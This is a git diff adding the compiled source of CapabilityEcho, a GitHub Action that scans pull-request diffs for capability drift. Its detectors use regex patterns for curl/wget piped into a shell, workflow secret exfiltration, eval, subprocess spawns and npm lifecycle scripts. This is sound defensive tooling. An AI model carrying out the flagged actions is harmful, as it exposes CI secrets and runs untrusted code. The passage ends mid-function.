diff --git a/.github/workflows/capabilityecho.yml b/.github/workflows/capabilityecho.yml index 6fcc73a..481859d 100644 --- a/.github/workflows/capabilityecho.yml +++ b/.github/workflows/capabilityecho.yml @@ -14,6 +14,6 @@ jobs: with: fetch-depth: 0 - - uses: ./ + - uses: Conalh/CapabilityEcho@main with: fail-on: none diff --git a/.gitignore b/.gitignore index f4e2c6d..ff2c585 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,2 @@ node_modules/ -dist/ *.tsbuildinfo diff --git a/action.yml b/action.yml index 942a99b..8160e27 100644 --- a/action.yml +++ b/action.yml @@ -27,92 +27,11 @@ inputs: outputs: rating: description: Highest CapabilityEcho capability drift rating. - value: ${{ steps.run.outputs.rating }} finding-count: description: Total CapabilityEcho findings in the diff. - value: ${{ steps.run.outputs.finding-count }} changed-file-count: description: Number of changed scannable files in the diff. - value: ${{ steps.run.outputs.changed-file-count }} runs: - using: composite - steps: - - name: Install CapabilityEcho - shell: bash - run: | - set -euo pipefail - cd "$GITHUB_ACTION_PATH" - npm ci - - - name: Build CapabilityEcho - shell: bash - run: | - set -euo pipefail - cd "$GITHUB_ACTION_PATH" - npm run build - - - name: Run CapabilityEcho capability drift review - id: run - shell: bash - env: - ECHO_REPO: ${{ inputs.repo }} - ECHO_BASE: ${{ inputs.base }} - ECHO_HEAD: ${{ inputs.head }} - ECHO_FAIL_ON: ${{ inputs.fail-on }} - DEFAULT_BASE: ${{ github.event.pull_request.base.sha || github.event.before }} - DEFAULT_HEAD: ${{ github.event.pull_request.head.sha || github.sha }} - run: | - set -euo pipefail - - repo="${ECHO_REPO:-$GITHUB_WORKSPACE}" - base="${ECHO_BASE:-$DEFAULT_BASE}" - head="${ECHO_HEAD:-$DEFAULT_HEAD}" - fail_on="${ECHO_FAIL_ON:-none}" - - if [ -z "$base" ] || [ -z "$head" ]; then - echo "::error::CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0." - exit 2 - fi - - report_file="${RUNNER_TEMP:-.}/capabilityecho-report.md" - json_file="${RUNNER_TEMP:-.}/capabilityecho-report.json" - - node "$GITHUB_ACTION_PATH/dist/index.js" diff --repo "$repo" --base "$base" --head "$head" --format markdown | tee "$report_file" - node "$GITHUB_ACTION_PATH/dist/index.js" diff --repo "$repo" --base "$base" --head "$head" --format json > "$json_file" - node "$GITHUB_ACTION_PATH/dist/index.js" diff --repo "$repo" --base "$base" --head "$head" --format github - - if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then - cat "$report_file" >> "$GITHUB_STEP_SUMMARY" - fi - - rating="$(node -e "const fs = require('node:fs'); console.log(JSON.parse(fs.readFileSync(process.argv[1], 'utf8')).rating)" "$json_file")" - finding_count="$(node -e "const fs = require('node:fs'); console.log(JSON.parse(fs.readFileSync(process.argv[1], 'utf8')).findingCount)" "$json_file")" - changed_file_count="$(node -e "const fs = require('node:fs'); console.log(JSON.parse(fs.readFileSync(process.argv[1], 'utf8')).changedFileCount)" "$json_file")" - echo "rating=$rating" >> "$GITHUB_OUTPUT" - echo "finding-count=$finding_count" >> "$GITHUB_OUTPUT" - echo "changed-file-count=$changed_file_count" >> "$GITHUB_OUTPUT" - - rank() { - case "$1" in - none) echo 0 ;; - low) echo 1 ;; - medium) echo 2 ;; - high) echo 3 ;; - critical) echo 4 ;; - *) echo -1 ;; - esac - } - - fail_rank="$(rank "$fail_on")" - rating_rank="$(rank "$rating")" - - if [ "$fail_rank" -lt 0 ]; then - echo "::error::Invalid fail-on value '$fail_on'. Use none, low, medium, high, or critical." - exit 2 - fi - - if [ "$fail_rank" -gt 0 ] && [ "$rating_rank" -ge "$fail_rank" ]; then - echo "::error::CapabilityEcho capability drift rating $rating meets fail-on threshold $fail_on." - exit 1 - fi + using: node24 + main: dist/action.js diff --git a/dist/action.js b/dist/action.js new file mode 100644 index 0000000..ee3bd74 --- /dev/null +++ b/dist/action.js @@ -0,0 +1,103 @@ +import { appendFile, readFile } from 'node:fs/promises'; +import { runCapabilityDiff } from './diff.js'; +import { renderReport } from './report.js'; +const severityRank = { + none: 0, + low: 1, + medium: 2, + high: 3, + critical: 4 +}; +export async function mainAction(env = process.env) { + const repo = getInput(env, 'repo') || env.GITHUB_WORKSPACE || process.cwd(); + const event = await readEvent(env); + const base = getInput(env, 'base') || getDefaultBase(env, event); + const head = getInput(env, 'head') || getDefaultHead(env, event); + const failOn = getInput(env, 'fail-on') || 'none'; + if (!base || !head) { + writeError('CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0.'); + return 2; + } + if (!isRating(failOn)) { + writeError(`Invalid fail-on value '${failOn}'. Use none, low, medium, high, or critical.`); + return 2; + } + const report = await runCapabilityDiff({ mode: 'git', repo, base, head }); + const markdown = renderReport(report, 'markdown'); + process.stdout.write(markdown); + process.stdout.write(renderReport(report, 'github')); + await appendIfSet(env.GITHUB_STEP_SUMMARY, markdown); + await writeOutput(env, 'rating', report.rating); + await writeOutput(env, 'finding-count', String(report.findingCount)); + await writeOutput(env, 'changed-file-count', String(report.changedFileCount)); + if (severityRank[failOn] > 0 && severityRank[report.rating] >= severityRank[failOn]) { + writeError(`CapabilityEcho capability drift rating ${report.rating} meets fail-on threshold ${failOn}.`); + return 1; + } + return 0; +} +function getInput(env, name) { + const primary = env[`INPUT_${name.replace(/ /g, '_').toUpperCase()}`]; + const normalized = env[`INPUT_${name.replace(/[- ]/g, '_').toUpperCase()}`]; + return (primary || normalized || '').trim(); +} +async function readEvent(env) { + if (!env.GITHUB_EVENT_PATH) { + return {}; + } + try { + const content = await readFile(env.GITHUB_EVENT_PATH, 'utf8'); + const parsed = JSON.parse(content); + return isRecord(parsed) ? parsed : {}; + } + catch { + return {}; + } +} +function getDefaultBase(env, event) { + const pullRequest = event.pull_request; + if (isRecord(pullRequest) && isRecord(pullRequest.base) && typeof pullRequest.base.sha === 'string') { + return pullRequest.base.sha; + } + if (typeof event.before === 'string') { + return event.before; + } + return env.DEFAULT_BASE || ''; +} +function getDefaultHead(env, event) { + const pullRequest = event.pull_request; + if (isRecord(pullRequest) && isRecord(pullRequest.head) && typeof pullRequest.head.sha === 'string') { + return pullRequest.head.sha; + } + if (typeof event.after === 'string') { + return event.after; + } + return env.DEFAULT_HEAD || env.GITHUB_SHA || ''; +} +async function writeOutput(env, name, value) { + if (!env.GITHUB_OUTPUT) { + return; + } + await appendFile(env.GITHUB_OUTPUT, `${name}=${value}\n`, 'utf8'); +} +async function appendIfSet(path, content) { + if (!path) { + return; + } + await appendFile(path, content, 'utf8'); +} +function writeError(message) { + process.stdout.write(`::error::${escapeMessage(message)}\n`); +} +function escapeMessage(value) { + return value.replaceAll('%', '%25').replaceAll('\r', '%0D').replaceAll('\n', '%0A'); +} +function isRating(value) { + return value === 'none' || value === 'low' || value === 'medium' || value === 'high' || value === 'critical'; +} +function isRecord(value) { + return typeof value === 'object' && value !== null && !Array.isArray(value); +} +if (process.argv[1]?.endsWith('action.js')) { + process.exitCode = await mainAction(); +} diff --git a/dist/detectors/js-capability.js b/dist/detectors/js-capability.js new file mode 100644 index 0000000..02c5181 --- /dev/null +++ b/dist/detectors/js-capability.js @@ -0,0 +1,68 @@ +import { isCommentLine, isJsFile, isTestFile } from '../paths.js'; +export function detectJsCapability(lines) { + const findings = []; + for (const added of lines) { + if (!isJsFile(added.file) || isCommentLine(added.content)) { + continue; + } + const testFile = isTestFile(added.file); + findings.push(...detectFetch(added, testFile)); + findings.push(...detectSubprocess(added, testFile)); + findings.push(...detectDynamicEval(added, testFile)); + } + return findings; +} +function detectFetch(added, testFile) { + if (!/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(added.content)) { + return []; + } + if (!/(?:https?:\/\/|['"]https?:\/\/)/i.test(added.content)) { + return []; + } + if (/(?:fetch\s*\(\s*['"`]\/|axios\.(?:get|post|put|delete|patch|request)\s*\(\s*['"`]\/)/i.test(added.content)) { + return []; + } + return [ + { + kind: 'external_fetch_added', + severity: testFile ? 'low' : 'medium', + file: added.file, + line: added.line, + subject: 'External network fetch', + message: 'Added code performs an external HTTP request that expands network reach.', + recommendation: 'Review the endpoint, data sent, and whether the request belongs in this change.' + } + ]; +} +function detectSubprocess(added, testFile) { + if (!/(?:child_process|execSync\s*\(|exec\s*\(|spawnSync\s*\(|spawn\s*\(|Bun\.spawn\s*\()/i.test(added.content)) { + return []; + } + return [ + { + kind: 'subprocess_spawn_added', + severity: testFile ? 'low' : 'high', + file: added.file, + line: added.line, + subject: 'Subprocess spawn', + message: 'Added code can spawn shell commands or subprocesses.', + recommendation: 'Confirm the command source is trusted and scoped to the task.' + } + ]; +} +function detectDynamicEval(added, testFile) { + if (!/(?:\beval\s*\(|new\s+Function\s*\(|vm\.runInNewContext\s*\()/i.test(added.content)) { + return []; + } + return [ + { + kind: 'dynamic_eval_added', + severity: testFile ? 'medium' : 'critical', + file: added.file, + line: added.line, + subject: 'Dynamic code execution', + message: 'Added code can evaluate dynamic JavaScript at runtime.', + recommendation: 'Avoid eval-style execution unless strictly required and heavily constrained.' + } + ]; +} diff --git a/dist/detectors/package-scripts.js b/dist/detectors/package-scripts.js new file mode 100644 index 0000000..e40a19d --- /dev/null +++ b/dist/detectors/package-scripts.js @@ -0,0 +1,126 @@ +import { readFile } from 'node:fs/promises'; +import { configPath, isRecord, lineOfJsonKey, lineOfJsonStringValue } from '../discovery.js'; +import { listPackageJsonFiles, readFileAtGitRef } from '../git-diff.js'; +const LIFECYCLE_KEYS = ['postinstall', 'preinstall', 'prepare', 'install']; +export async function detectPackageScripts(mode) { + const packageFiles = mode.mode === 'directories' + ? await listPackageJsonFiles(mode.newRoot) + : (await listChangedPackageJsonFiles(mode.repo, mode.base, mode.head)); + const findings = []; + for (const file of packageFiles) { + const oldScripts = await readScriptsAt(mode, file, 'old'); + const newScripts = await readScriptsAt(mode, file, 'new'); + const newText = await readPackageTextAt(mode, file, 'new'); + findings.push(...compareScripts(file, oldScripts, newScripts, newText)); + } + return findings; +} +async function listChangedPackageJsonFiles(repo, base, head) { + const all = await listPackageJsonFiles(repo); + const changed = []; + for (const file of all) { + const oldText = await readFileAtGitRef(repo, base, file); + const newText = await readFileAtGitRef(repo, head, file); + if (oldText !== newText) { + changed.push(file); + } + } + return changed; +} +async function readScriptsAt(mode, file, side) { + const text = await readPackageTextAt(mode, file, side); + if (!text) { + return {}; + } + try { + const parsed = JSON.parse(text); + if (!isRecord(parsed) || !isRecord(parsed.scripts)) { + return {}; + } + const scripts = {}; + for (const [key, value] of Object.entries(parsed.scripts)) { + if (typeof value === 'string') { + scripts[key] = value; + } + } + return scripts; + } + catch { + return {}; + } +} +async function readPackageTextAt(mode, file, side) { + if (mode.mode === 'directories') { + const root = side === 'old' ? mode.oldRoot : mode.newRoot; + try { + return await readFile(configPath(root, file), 'utf8'); + } + catch { + return ''; + } + } + const ref = side === 'old' ? mode.base : mode.head; + return (await readFileAtGitRef(mode.repo, ref, file)) ?? ''; +} +function compareScripts(file, oldScripts, newScripts, newText) { + const findings = []; + for (const key of LIFECYCLE_KEYS) { + const newValue = newScripts[key]; + if (!newValue) { + continue; + } + const oldValue = oldScripts[key]; + if (oldValue === newValue) { + continue; + } + const line = lineOfJsonKey(newText, key) ?? lineOfJsonStringValue(newText, newValue); + findings.push({ + kind: 'lifecycle_script_added', + severity: 'high', + file, + line, + subject: `package.json ${key} script`, + message: `Added or changed npm ${key} lifecycle script.`, + recommendation: 'Review lifecycle scripts carefully; they run automatically on install.' + }); + findings.push(...analyzeScriptContent(file, key, newValue, newText)); + } + for (const [key, newValue] of Object.entries(newScripts)) { + if (LIFECYCLE_KEYS.includes(key)) { + continue; + } + const oldValue = oldScripts[key]; + if (oldValue === newValue) { + continue; + } + findings.push(...analyzeScriptContent(file, key, newValue, newText)); + } + return findings; +} +function analyzeScriptContent(file, key, script, newText) { + const findings = []; + const line = lineOfJsonStringValue(newText, script) ?? lineOfJsonKey(newText, key); + if (/(?:curl[^\n|]*\|\s*(?:ba)?sh|wget[^\n|]*\|\s*sh|Invoke-Expression|iex\s*\()/i.test(script)) { + findings.push({ + kind: 'script_pipe_to_shell', + severity: 'critical', + file, + line, + subject: `package.json ${key} pipe-to-shell`, + message: 'Script downloads and pipes content directly into a shell.', + recommendation: 'Replace remote pipe-to-shell patterns with pinned, reviewable install steps.' + }); + } + if (/\b(curl|wget|npm publish)\b/i.test(script) || /\bnpx\b(?![^\s]*@\d+\.\d+\.\d+)/i.test(script)) { + findings.push({ + kind: 'script_network_command', + severity: 'medium', + file, + line, + subject: `package.json ${key} network command`, + message: 'Script performs a network or publish command.', + recommendation: 'Pin package versions and verify remote commands before merge.' + }); + } + return findings; +} diff --git a/dist/detectors/workflow-permissions.js b/dist/detectors/workflow-permissions.js new file mode 100644 index 0000000..6185c57 --- /dev/null +++ b/dist/detectors/workflow-permissions.js @@ -0,0 +1,82 @@ +import { isWorkflowFile } from '../paths.js'; +export function detectWorkflowPermissions(lines) { + const findings = []; + for (const added of lines) { + if (!isWorkflowFile(added.file)) { + continue; + } + findings.push(...detectWritePermissions(added)); + findings.push(...detectExternalCurl(added)); + findings.push(...detectSecretExfil(added)); + } + return findings; +} +function detectWritePermissions(added) { + const content = added.content; + if (!/permissions\s*:/i.test(content) && !/\b(contents|packages|id-token)\s*:\s*write\b/i.test(content)) { + return []; + } + if (/\b(contents|packages|id-token)\s*:\s*write\b/i.test(content)) { + return [ + { + kind: 'workflow_permission_write', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions write permission', + message: 'Workflow grants repository or package write permissions.', + recommendation: 'Use the narrowest permission scope required for this job.' + } + ]; + } + if (/\bpermissions\s*:\s*(write|admin)\b/i.test(content)) { + return [ + { + kind: 'workflow_permission_write', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions broad write permission', + message: 'Workflow grants broad write or admin permissions.', + recommendation: 'Prefer explicit per-resource permissions instead of top-level write/admin.' + } + ]; + } + return []; +} +function detectExternalCurl(added) { + if (!/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(added.content)) { + return []; + } + return [ + { + kind: 'workflow_external_curl', + severity: 'medium', + file: added.file, + line: added.line, + subject: 'Workflow external request', + message: 'Workflow step performs an external network request.', + recommendation: 'Verify the URL, payload, and whether the request is necessary in CI.' + } + ]; +} +function detectSecretExfil(added) { + const content = added.content; + const hasSecretRef = /\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(content); + const hasNetwork = /\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(content); + const hasPipe = /\|\s*(bash|sh|powershell|pwsh)/i.test(content); + if (!hasSecretRef || !hasNetwork) { + return []; + } + return [ + { + kind: 'workflow_secret_exfil_pattern', + severity: 'high', + file: added.file, + line: added.line, + subject: 'Workflow secret exfiltration pattern', + message: 'Workflow step references secrets or env values alongside an external request or shell pipe.', + recommendation: 'Review whether secrets could leave the runner through this step.' + } + ]; +} diff --git a/dist/diff.js b/dist/diff.js new file mode 100644 index 0000000..9e80a65 --- /dev/null +++ b/dist/diff.js @@ -0,0 +1,19 @@ +import { detectJsCapability } from './detectors/js-capability.js'; +import { detectPackageScripts } from './detectors/package-scripts.js'; +import { detectWorkflowPermissions } from './detectors/workflow-permissions.js'; +import { collectDirectoryDiff, collectGitDiff } from './git-diff.js'; +import { createReport } from './report.js'; +export async function runCapabilityDiff(options) { + const context = options.mode === 'directories' + ? await collectDirectoryDiff(options.oldRoot, options.newRoot) + : await collectGitDiff(options.repo, options.base, options.head); + const packageFindings = options.mode === 'directories' + ? await detectPackageScripts({ mode: 'directories', oldRoot: options.oldRoot, newRoot: options.newRoot }) + : await detectPackageScripts({ mode: 'git', repo: options.repo, base: options.base, head: options.head }); + const findings = [ + ...detectWorkflowPermissions(context.addedLines), + ...detectJsCapability(context.addedLines), + ...packageFindings + ]; + return createReport(findings, context); +} diff --git a/dist/discovery.js b/dist/discovery.js new file mode 100644 index 0000000..e955155 --- /dev/null +++ b/dist/discovery.js @@ -0,0 +1,43 @@ +import { readFile } from 'node:fs/promises'; +import { join } from 'node:path'; +export async function readJsonObject(path) { + return (await readJsonObjectWithSource(path)).json; +} +export async function readJsonObjectWithSource(path) { + try { + const raw = await readFile(path, 'utf8'); + const parsed = JSON.parse(raw); + return { json: isRecord(parsed) ? parsed : {}, text: raw }; + } + catch (error) { + if (isNodeError(error) && error.code === 'ENOENT') { + return { json: {}, text: '' }; + } + throw error; + } +} +export function configPath(root, relativePath) { + return join(root, relativePath); +} +export function isRecord(value) { + return typeof value === 'object' && value !== null && !Array.isArray(value); +} +export function lineOfJsonKey(text, key) { + const keyPattern = new RegExp(`"${escapeRegExp(key)}"\\s*:`); + return lineOfPattern(text, keyPattern); +} +export function lineOfJsonStringValue(text, value) { + const encoded = JSON.stringify(value); + return lineOfPattern(text, new RegExp(escapeRegExp(encoded))); +} +function lineOfPattern(text, pattern) { + const lines = text.split(/\r?\n/); + const index = lines.findIndex((line) => pattern.test(line)); + return index === -1 ? undefined : index + 1; +} +function escapeRegExp(value) { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} +function isNodeError(error) { + return error instanceof Error && 'code' in error; +} diff --git a/dist/git-diff.js b/dist/git-diff.js new file mode 100644 index 0000000..ff01944 --- /dev/null +++ b/dist/git-diff.js @@ -0,0 +1,206 @@ +import { execFile } from 'node:child_process'; +import { readdir, readFile } from 'node:fs/promises'; +import { join, relative } from 'node:path'; +import { promisify } from 'node:util'; +import { isScannable } from './paths.js'; +const execFileAsync = promisify(execFile); +export async function collectDirectoryDiff(oldRoot, newRoot) { + const changedFiles = await listScannableFiles(newRoot); + const addedLines = []; + for (const file of changedFiles) { + const oldPath = join(oldRoot, file); + const newPath = join(newRoot, file); + const patch = await runGitNoIndexDiff(oldPath, newPath); + if (patch.trim()) { + addedLines.push(...parseUnifiedDiff(patch, file)); + continue; + } + const newContent = await readFile(newPath, 'utf8'); + let oldContent = ''; + try { + oldContent = await readFile(oldPath, 'utf8'); + } + catch { + oldContent = ''; + } + if (oldContent === newContent) { + continue; + } + if (!oldContent) { + addedLines.push(...allLinesAsAdded(file, newContent)); + } + } + return { + addedLines, + changedFileCount: countChangedFiles(addedLines) + }; +} +export async function collectGitDiff(repo, base, head) { + await verifyGitRef(repo, base); + await verifyGitRef(repo, head); + const changedFiles = await listGitChangedFiles(repo, base, head); + const scannableFiles = changedFiles.filter(isScannable); + if (scannableFiles.length === 0) { + return { addedLines: [], changedFileCount: 0 }; + } + const { stdout } = await execFileAsync('git', ['-C', repo, 'diff', '-U0', `${base}..${head}`, '--', ...scannableFiles], { encoding: 'utf8', maxBuffer: 20 * 1024 * 1024 }); + return { + addedLines: parseUnifiedDiff(stdout).map((line) => ({ + ...line, + file: normalizeGitDiffPath(line.file) + })), + changedFileCount: scannableFiles.length + }; +} +export function parseUnifiedDiff(patch, relativeFile) { + const results = []; + let currentFile = ''; + let newLineNum = 0; + for (const line of patch.split(/\r?\n/)) { + if (line.startsWith('+++ ')) { + const rawPath = line.slice(4).trim(); + if (rawPath.startsWith('b/')) { + currentFile = rawPath.slice(2); + } + else if (rawPath === '/dev/null') { + currentFile = ''; + } + else { + currentFile = rawPath; + } + continue; + } + if (line.startsWith('@@')) { + const match = line.match(/\+(\d+)(?:,(\d+))?/); + newLineNum = match ? Number.parseInt(match[1], 10) : 0; + continue; + } + if (!currentFile || currentFile === '/dev/null') { + continue; + } + if (line.startsWith('+') && !line.startsWith('+++')) { + results.push({ + file: (relativeFile ?? normalizeGitDiffPath(currentFile)).replace(/\\/g, '/'), + line: newLineNum, + content: line.slice(1) + }); + newLineNum += 1; + continue; + } + if (line.startsWith('-') && !line.startsWith('---')) { + continue; + } + if (line.startsWith(' ') || line.startsWith('\\')) { + newLineNum += 1; + } + } + return results; +} +async function listScannableFiles(root, current = '') { + const entries = await readdir(join(root, current), { withFileTypes: true }); + const files = []; + for (const entry of entries) { + if (entry.name === 'node_modules' || entry.name === '.git') { + continue; + } + const relativePath = current ? `${current}/${entry.name}` : entry.name; + if (entry.isDirectory()) { + files.push(...(await listScannableFiles(root, relativePath))); + continue; + } + if (isScannable(relativePath)) { + files.push(relativePath.replace(/\\/g, '/')); + } + } + return files; +} +async function listGitChangedFiles(repo, base, head) { + const { stdout } = await execFileAsync('git', ['-C', repo, 'diff', '--name-only', `${base}..${head}`], { encoding: 'utf8', maxBuffer: 10 * 1024 * 1024 }); + return stdout + .split(/\r?\n/) + .map((line) => line.trim()) + .filter(Boolean) + .map((line) => line.replace(/\\/g, '/')); +} +async function runGitNoIndexDiff(oldPath, newPath) { + try { + const { stdout } = await execFileAsync('git', ['diff', '--no-index', '-U0', oldPath, newPath], { + encoding: 'utf8', + maxBuffer: 10 * 1024 * 1024 + }); + return stdout; + } + catch (error) { + if (isExecError(error) && typeof error.stdout === 'string') { + return error.stdout; + } + return ''; + } +} +function allLinesAsAdded(file, content) { + const lines = content.split(/\r?\n/); + return lines.map((lineContent, index) => ({ + file: file.replace(/\\/g, '/'), + line: index + 1, + content: lineContent + })); +} +function countChangedFiles(addedLines) { + return new Set(addedLines.map((line) => line.file)).size; +} +async function verifyGitRef(repo, ref) { + await execFileAsync('git', ['-C', repo, 'rev-parse', '--verify', `${ref}^{commit}`]); +} +function isExecError(error) { + return error instanceof Error && 'code' in error; +} +function normalizeGitDiffPath(file) { + const normalized = file.replace(/\\/g, '/'); + const markers = ['/src/', '/.github/workflows/', '/package.json']; + for (const marker of markers) { + const index = normalized.lastIndexOf(marker); + if (index >= 0) { + return normalized.slice(index + 1); + } + } + if (normalized.endsWith('package.json')) { + return 'package.json'; + } + return normalized.replace(/^[a-z]:\//i, '').replace(/^b\//, ''); +} +export async function readFileAtGitRef(repo, ref, relativePath) { + try { + const { stdout } = await execFileAsync('git', ['-C', repo, 'show', `${ref}:${relativePath}`], { + encoding: 'utf8', + maxBuffer: 10 * 1024 * 1024 + }); + return stdout; + } + catch (error) { + if (isExecError(error)) { + return null; + } + throw error; + } +} +export async function listPackageJsonFiles(root, current = '') { + const entries = await readdir(join(root, current), { withFileTypes: true }); + const files = []; + for (const entry of entries) { + if (entry.name === 'node_modules' || entry.name === '.git') { + continue; + } + const relativePath = current ? `${current}/${entry.name}` : entry.name; + if (entry.isDirectory()) { + files.push(...(await listPackageJsonFiles(root, relativePath))); + continue; + } + if (entry.name === 'package.json') { + files.push(relativePath.replace(/\\/g, '/')); + } + } + return files; +} +export function relativeFromRoots(root, absolutePath) { + return relative(root, absolutePath).replace(/\\/g, '/'); +} diff --git a/dist/index.js b/dist/index.js new file mode 100644 index 0000000..aec6136 --- /dev/null +++ b/dist/index.js @@ -0,0 +1,104 @@ +#!/usr/bin/env node +import { fileURLToPath } from 'node:url'; +import { runCapabilityDiff } from './diff.js'; +import { renderReport } from './report.js'; +export async function main(argv = process.argv.slice(2)) { + if (argv.length === 0 || argv.includes('--help') || argv.includes('-h')) { + process.stdout.write(`${usage()}\n`); + return 0; + } + if (argv[0] === 'diff') { + return runDiffCommand(argv.slice(1)); + } + process.stderr.write(`Unknown command: ${argv[0]}\n`); + return 2; +} +async function runDiffCommand(argv) { + const parsed = parseDiffArgs(argv); + if (!parsed.ok) { + process.stderr.write(`${parsed.error}\n${usage()}\n`); + return 2; + } + const report = parsed.mode === 'directories' + ? await runCapabilityDiff({ mode: 'directories', oldRoot: parsed.oldRoot, newRoot: parsed.newRoot }) + : await runCapabilityDiff({ mode: 'git', repo: parsed.repo, base: parsed.base, head: parsed.head }); + process.stdout.write(renderReport(report, parsed.format)); + return 0; +} +function parseDiffArgs(argv) { + let oldRoot; + let newRoot; + let base; + let head; + let repo = process.cwd(); + let format = 'text'; + for (let index = 0; index < argv.length; index += 1) { + const arg = argv[index]; + const value = argv[index + 1]; + if (arg === '--old') { + oldRoot = value; + index += 1; + } + else if (arg === '--new') { + newRoot = value; + index += 1; + } + else if (arg === '--repo') { + repo = value; + index += 1; + } + else if (arg === '--base') { + base = value; + index += 1; + } + else if (arg === '--head') { + head = value; + index += 1; + } + else if (arg === '--format') { + if (!isReportFormat(value)) { + return { ok: false, error: `Invalid format: ${value ?? ''}` }; + } + format = value; + index += 1; + } + else { + return { ok: false, error: `Unknown argument: ${arg}` }; + } + } + const hasDirectoryMode = oldRoot || newRoot; + const hasGitMode = base || head; + if (hasDirectoryMode && hasGitMode) { + return { ok: false, error: 'Use either --old/--new or --base/--head, not both.' }; + } + if (hasGitMode) { + if (!base) { + return { ok: false, error: 'Missing required --base argument.' }; + } + if (!head) { + return { ok: false, error: 'Missing required --head argument.' }; + } + return { ok: true, mode: 'git', repo, base, head, format }; + } + if (!oldRoot) { + return { ok: false, error: 'Missing required --old argument or --base argument.' }; + } + if (!newRoot) { + return { ok: false, error: 'Missing required --new argument.' }; + } + return { ok: true, mode: 'directories', oldRoot, newRoot, format }; +} +function isReportFormat(value) { + return value === 'text' || value === 'markdown' || value === 'json' || value === 'github'; +} +const invokedPath = process.argv[1] ? fileURLToPath(import.meta.url) === process.argv[1] : false; +if (invokedPath) { + process.exitCode = await main(); +} +function usage() { + return [ + 'Usage:', + ' capabilityecho diff --old --new [--format text|markdown|json|github]', + ' capabilityecho diff --repo --base --head [--format text|markdown|json|github]' + ].join('\n'); +} diff --git a/dist/paths.js b/dist/paths.js new file mode 100644 index 0000000..33f0282 --- /dev/null +++ b/dist/paths.js @@ -0,0 +1,55 @@ +const EXCLUDED_PATHS = new Set([ + '.mcp.json', + '.cursor/mcp.json', + '.vscode/mcp.json', + '.codeium/windsurf/mcp_config.json', + '.claude/settings.json', + '.codex/config.toml', + 'AGENTS.md' +]); +export function normalizeRelativePath(relativePath) { + return relativePath.replace(/\\/g, '/'); +} +export function isExcluded(relativePath) { + const normalized = normalizeRelativePath(relativePath); + if (EXCLUDED_PATHS.has(normalized)) { + return true; + } + return normalized.startsWith('.cursor/rules/'); +} +export function isScannable(relativePath) { + const normalized = normalizeRelativePath(relativePath); + if (isExcluded(normalized)) { + return false; + } + if (normalized === 'package.json' || normalized.endsWith('/package.json')) { + return true; + } + if (normalized.startsWith('.github/workflows/') && /\.(ya?ml)$/i.test(normalized)) { + return true; + } + return /\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(normalized); +} +export function isTestFile(relativePath) { + const normalized = normalizeRelativePath(relativePath); + if (normalized.includes('__tests__/')) { + return true; + } + return /\.(test|spec)\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(normalized); +} +export function isCommentLine(content) { + const trimmed = content.trim(); + return trimmed.startsWith('//') || trimmed.startsWith('/*') || trimmed.startsWith('*') || trimmed.startsWith('*/'); +} +export function isWorkflowFile(relativePath) { + const normalized = normalizeRelativePath(relativePath); + return normalized.startsWith('.github/workflows/') && /\.(ya?ml)$/i.test(normalized); +} +export function isPackageJsonFile(relativePath) { + const normalized = normalizeRelativePath(relativePath); + return normalized === 'package.json' || normalized.endsWith('/package.json'); +} +export function isJsFile(relativePath) { + const normalized = normalizeRelativePath(relativePath); + return /\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(normalized); +} diff --git a/dist/report.js b/dist/report.js new file mode 100644 index 0000000..4838c23 --- /dev/null +++ b/dist/report.js @@ -0,0 +1,123 @@ +const severityRank = { + none: 0, + low: 1, + medium: 2, + high: 3, + critical: 4 +}; +const SUMMARY_LABELS = { + external_fetch_added: 'external network fetch calls', + subprocess_spawn_added: 'subprocess or shell spawn calls', + dynamic_eval_added: 'dynamic code execution', + workflow_permission_write: 'GitHub Actions write permissions', + workflow_external_curl: 'workflow external network requests', + workflow_secret_exfil_pattern: 'workflow secret exfiltration patterns', + lifecycle_script_added: 'npm lifecycle scripts', + script_pipe_to_shell: 'pipe-to-shell install scripts', + script_network_command: 'network or publish npm scripts' +}; +export function createReport(findings, context) { + return { + rating: rateFindings(findings), + findingCount: findings.length, + changedFileCount: context.changedFileCount, + capabilitySummary: buildCapabilitySummary(findings), + findings + }; +} +export function renderReport(report, format) { + if (format === 'json') { + return `${JSON.stringify(report, null, 2)}\n`; + } + if (format === 'markdown') { + return renderMarkdown(report); + } + if (format === 'github') { + return renderGithubAnnotations(report); + } + return renderText(report); +} +function buildCapabilitySummary(findings) { + const labels = new Set(); + for (const finding of findings) { + labels.add(SUMMARY_LABELS[finding.kind] ?? finding.kind); + } + return [...labels]; +} +function rateFindings(findings) { + let rating = 'none'; + for (const finding of findings) { + if (severityRank[finding.severity] > severityRank[rating]) { + rating = finding.severity; + } + } + return rating; +} +function renderMarkdown(report) { + const lines = [`# CapabilityEcho capability drift: ${report.rating.toUpperCase()}`, '']; + if (report.findings.length === 0) { + lines.push('No code or workflow capability drift findings.'); + return `${lines.join('\n')}\n`; + } + lines.push(`This diff scanned ${report.changedFileCount} changed file${report.changedFileCount === 1 ? '' : 's'}.`); + lines.push(`CapabilityEcho found ${report.findingCount} finding${report.findingCount === 1 ? '' : 's'}.`, ''); + if (report.capabilitySummary.length > 0) { + lines.push('## Capability summary', ''); + for (const item of report.capabilitySummary) { + lines.push(`- ${item}`); + } + lines.push(''); + } + for (const severity of ['critical', 'high', 'medium', 'low']) { + const matches = report.findings.filter((finding) => finding.severity === severity); + if (matches.length === 0) { + continue; + } + lines.push(`## ${capitalize(severity)}`, ''); + for (const finding of matches) { + lines.push(`- **${finding.subject}** (${finding.file}): ${finding.message}`); + lines.push(` Recommendation: ${finding.recommendation}`); + } + lines.push(''); + } + return `${lines.join('\n').trimEnd()}\n`; +} +function renderText(report) { + const lines = [`CapabilityEcho capability drift: ${report.rating.toUpperCase()}`]; + if (report.capabilitySummary.length > 0) { + 